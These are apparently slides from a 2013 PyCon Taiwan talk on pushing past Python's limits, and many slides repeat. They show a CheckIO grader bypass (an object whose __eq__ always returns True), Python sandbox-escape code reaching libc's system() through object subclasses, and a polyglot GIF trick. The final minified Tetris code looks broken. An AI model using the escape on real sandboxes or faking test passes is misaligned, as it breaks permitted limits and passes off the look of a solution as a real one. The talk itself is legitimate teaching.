

# 天元突破, 鑽開 python 的限制

TJW @ PyCon Taiwan 2013

2013-04-13

# Hacking change my life

- 經歷/學習某些事物會改變「你」
- 會讓你無法想像缺少這項經歷的你
- 數學、程式設計、象棋、魔術、撲克都是
- Hacking 也是其中之一

# Back to 90s

- 還在用鴿子傳封包
- 還沒有 Google
- 大學課本都是影印店印的
- 那個時候開源軟體叫做自由軟體
- X 沒辦法輸入中文

- 使用前：丙正正
- 使用後：XCinAnywhere
- Is the dark side stronger?
- No, no, no. Quicker, easier, more seductive.

- 使用前：丙正正
- 使用後：XCinAnywhere
- Is the dark side stronger?
- No, no, no. Quicker, easier, more seductive.

- 使用前：丙正正
- 使用後：XCinAnywhere
- Is the dark side stronger?
- No, no, no. Quicker, easier, more seductive.

- 使用前：丙正正
- 使用後：XCinAnywhere
- Is the dark side stronger?
- No, no, no. Quicker, easier, more seductive.





# CheckIO example

```
# Withdraw without any incident
# 120 - 10 - 0.5 - 1% = floor(109.4) = 109
# 109 - 20 - 0.5 - 1% = floor(88.3) = 88
# 88 - 30 - 0.5 - 1% = floor(57.2) = 57
from math import floor
def checkio(data):
    balance, withdrawal = data
    for a in (0.5+1.01*x for x in withdrawal if x%5==0):
        balance = floor(balance-a) if balance >= a else balance
    return balance
if __name__ == '__main__':
    assert checkio([120, [10, 20, 30]]) == 57, 'First'
    # With one Insufficient Funds, and then withdraw 10 $
    assert checkio([120, [200, 10]]) == 109, 'Second'
    #with one incorrect amount
    assert checkio([120, [3, 10]]) == 109, 'Third'
    assert checkio([120, [200, 119]]) == 120, 'Fourth'
    assert checkio([120, [120, 10, 122, 2, 10, 10, 30, 1]]) == 56, "It's mixed all base tests"

    print('All Ok')
```

# CheckIO example2

```
# Withdraw without any incident
# 120 - 10 - 0.5 - 1% = floor(109.4) = 109
# 109 - 20 - 0.5 - 1% = floor(88.3) = 88
# 88 - 30 - 0.5 - 1% = floor(57.2) = 57
from math import floor
class X(object):
    def __eq__(self,n):
        return True
    def __ne__(self,n):
        return False
def checkio(x):
    return X()
if __name__ == '__main__':
    assert checkio([120, [10 , 20, 30]]) == 57, 'First'
    # With one Insufficient Funds, and then withdraw 10 $
    assert checkio([120, [200 , 10]]) == 109, 'Second'
    #with one incorrect amount
    assert checkio([120, [3, 10]]) == 109, 'Third'
    assert checkio([120, [200, 119]]) == 120 , 'Fourth'
    assert checkio([120, [120, 10, 122, 2, 10, 10, 30, 1]]) == 56, "It's mixed all base tests"

    print('All Ok')
```

# 限制

## Output (Python console)

Click on "Run Code" to view results or Ctrl + /

Click on "Save" to save your code or Ctrl + S

```
>>> print("aa")
```

An environment has been started. It will be restarted in 20 minutes if you don't use it.

```
aa
```

```
>>> dir()
```

```
<<< ['__builtins__', '__import__', '__name__']
```

```
>>> import math
```

```
>>> import ctypes
```

```
ImportError: ctypes
```

```
<module>, 1
```

```
>>> import collections
```

```
>>> dir()
```

```
<<< ['__builtins__', '__import__', '__name__', 'collections', 'math']
```

```
>>> help(print)
```

```
PermissionError: [Errno 13] Permission denied: '/home/checkio/checkio/runners'
```

```
<module>, 1
```

```
>>> open
```

```
NameError: name 'open' is not defined
```

```
<module>, 1
```



Clear

>>>

# CheckIO get shell

```
get=lambda x,n: [i for i in x if i.__name__==n][0]
x=().__class__.__base__.__subclasses__()
CDLL=get(x, 'CDLL')
CDATA=get(x, '_CDATA')
cx=CDATA.__subclasses__()
csx=get(cx, "_SimpleCDATA").__subclasses__()
c_char_p=get(csx, "c_char_p")
c_int=get(csx, "c_int")
libc=CDLL("/lib64/libc.so.6")
#libc=CDLL("/lib/x86_64-linux-gnu/libc.so.6")
system=libc.system
system.argtypes=[c_char_p]
system.restype=c_int
```

# CheckIO get shell

---

```
>>> ().__class__  
<type 'tuple'>  
>>> ().__class__.__base__  
<type 'object'>  
>>> ().__class__.__base__.__subclasses__()  
?
```

---

# CheckIO get shell

```
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>,
<type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>,
<type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_...'>]
```

# 防止?

邏輯



<http://www.flickr.com/photos/theklan/1361277704/> CC-SA授權



# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif

# 也是程式

- `python face6.gif`
- `ruby -x face6.gif`
- `perl -x face6.gif`
- `java -jar face6.gif`
- 當成 .html 打開，可執行 javascript
- `rar x face6.gif`
- `unzip -v face6.gif`
- 當然，這還是一個完整的 gif



# Python 語言規範

Python 語言規範以及 CPython 實作很嚴格  
禁止吃任何垃圾食物  
所以，怎麼辦到的。

# 想法 1

- Egg 檔其實是 zip
- 所以 Python 其實是可以執行 zip 檔的
- 不過不是用這個方法，因為 Jar 也是 zip，而且不能共存（更不用說 perl 及 ruby 來插花了）。

## 其他一些常識

- zip 和 rar 會忽略檔頭
- zip, rar, gif 會忽略尾巴
- jar 和 egg 格式在尾巴有點衝突
- ruby -x, perl -x 會忽略檔頭
- html 只管 `<html>` `</html>` 中間的東西

# 所以很容易

- 圖檔/影片檔藏壓縮檔
- 外加再藏個 html
- 壓縮檔可以是個 jar 或 egg
- 圖檔/影片/壓縮檔後面可以藏 ruby 或 perl
- jar 後面也可以藏 ruby, perl

- Header: GIF89a|width|height
- 外加一堆 LZW 壓縮區塊
- 最後有個結尾區塊

# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(`fgets` 的行爲)
- 但是 parser 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 Width 設爲 `0x100` 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 Width: `'=0'`, Height: `'\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。

# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(`fgets` 的行爲)
- 但是 `parser` 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 `Width` 設爲 `0x100` 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 `Width: '=0', Height: '\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。

# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(`fgets` 的行爲)
- 但是 parser 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 Width 設爲 `0x100` 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 Width: `'=0'`, Height: `'\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。



# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(`fgets` 的行爲)
- 但是 `parser` 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 `Width` 設爲 `0x100` 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 `Width: '=0', Height: '\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。

# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(fgets 的行爲)
- 但是 parser 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 Width 設爲 0x100 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 Width: `'=0'`, Height: `'\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。

# The Magic

- CPython 讀「一行」程式碼，會讀到 `\r\n` 或 `size` 才停(`fgets` 的行爲)
- 但是 parser 碰到 `\x00` 就會停(標準 C 字串行爲)
- 既然 GIF 的開頭是 ASCII，把 Width 設爲 `0x100` 或 `'\n\x00'` 如何?
- 會出現 GIF89a 未知變數錯誤
- 那 Width: `'=0'`, Height: `'\x00\x01'` 如何?
- Python 可以跑，但是圖片寬度超過業界標準，多數軟體無法秀圖。

- CPython 的 parser 怎麼處理 “\x00”?
- 因為結尾不是 '\n' 不會被當成一行（想想你會怎麼寫 Parser?）
- 所以會和下一行連在一起。

- CPython 的 parser 怎麼處理 “\x00”?
- 因為結尾不是 '\n' 不會被當成一行（想想你會怎麼寫 Parser?）
- 所以會和下一行連在一起。

- CPython 的 parser 怎麼處理 “\x00”?
- 因為結尾不是 '\n' 不會被當成一行（想想你會怎麼寫 Parser?）
- 所以會和下一行連在一起。

# Head

[illegible]

# Tail

```
tjw@tjw-MS-7680: ~/Dropbox/pcode
```

```
tjw@tjw-MS-7680:~/Dropbox/pcode$ tail face6.gif
```

```
00  
00
```

```
00 000001PK00000  
h{5B 000AMETA-INF/UT00Pux
```

```
000000PK00000  
$v5BkQ>099000CMETA-INF/MANIFEST.MFUT00Pux
```

```
000000PK00000  
q{5B00r000  
00__main__.pyUT00Pux
```

```
000000PK00000  
u5B000A000/UT00Pux
```

```
000000PK00000  
u5B0/000 00[00/A.classUT00Pux
```

```
000000PK00000
```

```
#!/perl  
#!/ruby  
print "Python rocks!\n"
```

```
tjw@tjw-MS-7680:~/Dropbox/pcode$  
tjw@tjw-MS-7680:~/Dropbox/pcode$  
tjw@tjw-MS-7680:~/Dropbox/pcode$  
tjw@tjw-MS-7680:~/Dropbox/pcode$
```



- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

- 不同系統，每行的大小不同。
- Windows 碰到 ^Z 會當成 EOF
- Python 碰到 ZIP 格式，會優先當成 egg，但對 ZIP 要求很嚴。
- perl/ruby 是當成最後的 zip comment, 所以不行
- 同一種資料，有不同的 LZW 壓縮法，利用這種方式，想辦法用 '\n' 斷句。
- 所以用 Python 手工製作 GIF decoder 和 encoder

---

```

R=range;W,H=10,20;E={198:0x7fff,46:0xff00,39:255,102:0xffff,71:0xfffff00,108:0xff00ff,15:0xff0000};B=[[15 if j==H else 0]*W+[15]*3 for j in R(H+3)];S=n=0;import sys,random as C;C=C.choice;e=[1];O=lambda Z:([ (z/4+1,z&3) for z in R(8) if (Z>>z)&1],3,-2,Z))(C(E.keys()));P,X,Y,Z=O();T=USEREVENT+1
L=lambda P,X,Y:[1 for (i,j) in P if B[j+Y][i+X]];d=display;init();F=d.set_mode((400,800));time.set_timer(T,100);w=key.get_pressed;a="GAME OVER, score "
while(d.flip() or e.__setitem__(0,event.wait().type) or e[0])!=QUIT:
    if e[0]==T:K=w();U=X+(-1 if K[K_LEFT] else (1 if K[K_RIGHT] else 0));V=Y+1 if K[K_DOWN] else Y;Q=[(j,3-i) for i,j in P if K[K_UP] else P];(P,X,Y)=(P,X,Y) if L(Q,U,V) else (Q,U,V);n%5 or L(P,X,Y+1)and (Y<0 and sys.exit(a+'S') or [B[j+Y].__setitem__(i+X,Z) for i,j in P]);(P,X,Y,Z)=(P,X,Y,Z) if n%5 else (O() if L(P,X,Y+1) else (P,X,Y+1,Z));n+=1;D=[z for z in B[:H] if 0 in z]+B[H:];l=len;s=l(B)-l(D);(S,B)=(S+2**s,[B[-1][:] for j in R(s)]+D) if s else (S,B);[draw.rect(F,E[Z] if (i-X,j-Y) in P else c,((i*40,j*40),(40,40))) for i,j,c in [(z%W,z/W,E.get(B[z/W][z%W],0)) for z in R(W*H)]]

```

---